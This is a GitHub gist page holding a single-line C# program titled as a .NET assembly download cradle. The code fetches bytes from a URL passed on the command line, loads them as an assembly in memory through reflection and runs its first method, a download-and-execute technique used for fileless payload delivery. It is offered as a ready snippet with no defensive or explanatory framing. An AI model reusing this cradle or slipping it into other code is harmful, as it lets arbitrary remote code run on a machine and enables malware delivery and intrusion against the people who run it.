Skip to content

Instantly share code, notes, and snippets.

@cobbr
Created June 20, 2018 22:37
Show Gist options
  • Save cobbr/1d4eb62c17e02c29977d952b3106cb4c to your computer and use it in GitHub Desktop.
Save cobbr/1d4eb62c17e02c29977d952b3106cb4c to your computer and use it in GitHub Desktop.

Revisions

  1. cobbr created this gist Jun 20, 2018.
    1 change: 1 addition & 0 deletions DotnetAssemblyDownloadCradle.cs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }